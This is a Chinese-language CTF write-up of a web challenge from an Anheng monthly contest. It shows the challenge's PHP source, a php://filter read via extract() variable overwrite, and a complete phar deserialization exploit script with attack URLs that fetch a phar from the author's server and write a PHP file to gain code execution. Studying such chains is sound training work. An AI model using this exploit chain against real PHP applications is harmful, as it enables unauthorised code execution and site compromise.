安恒月赛x圣诞

前言

一直打算复现一下安恒月赛的题目,因为学校的考试,鸽到现在了,快半个月没接触web了,这里以此题复现开始,拉开寒假学习的序幕了,嘿嘿。

解题

打开题目,是一个代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>

一开始我是挨个尝试了,看有没有啥有提示信息

?var=var[]&tp=tp1?var=var[]&tp=tp2?var=var[]&tp=tp3 然而并没有什么有用的提示信息。注意到这里有一个 extract函数,这里想到用变量覆盖,这里是二维数组的变量覆盖。所以一开始我的目的是读一下template.php的源代码,伪协议结合file_get_contents函数结合变量覆盖来读取:

?var=var[template][tp1]=php://filter/read=convert.base64-encode/resource=template.php&tp=tp1 解码一下拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Template
{
public $content;
public $pattern;
public $suffix;

public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}

public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};

if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>

所以接下来就是怎么利用这个类了,后面的后缀被写死了,看上去无论我们怎么写,都是html后缀。然后去想会不会是模板注入,又尝试了一下,不太行。所以思路到这里断了。赛后听师傅说可以利用 phar 反序列化,顿时悟了。赛后诸葛亮本人了(dog)

我们再回过头来看 index.php$content = file_get_contents($template[$tp]); 这个函数是支持phar协议的,恰好 template类里面有一个destruct魔法函数,利用它我们可以修改suffix的值,造成参数可控,写成我们的PHP马。

所以攻击流程很清晰了,我们先本地构造一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Template
{
public $content='<?php phpinfo();?>';
public $pattern;
public $suffix='.php';
}
$a = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

本地访问生成 phar.phar文件,然后传到我的vps上(http://106.54.90.137:2335/phar.phar

将phar.phar内容写进去:http://106.54.90.137:2336/?var[template][tp1]=http://106.54.90.137:2335/phar.phar&tp=tp1

内容会被写入到html文件,然后我们用phar://协议去读它,触发反序列化,写入我们的shell。

http://106.54.90.137:2336/?var[template[tp1]=phar://uploads/101c22e378107e54bb679250db46de99/2934bd6f6ee9eb0ee7088efb41eacc32.html&tp=tp1

发现成功写入php文件:

1.png

我们访问这个php文件,发现成功执行:

2.png

小结

当时做的时候没有联想到用反序列化去突破后缀限制,对phar用法还没能灵活运用,以为只会在文件上传会有利用之处。

要清晰每个漏洞的效果,活学活用。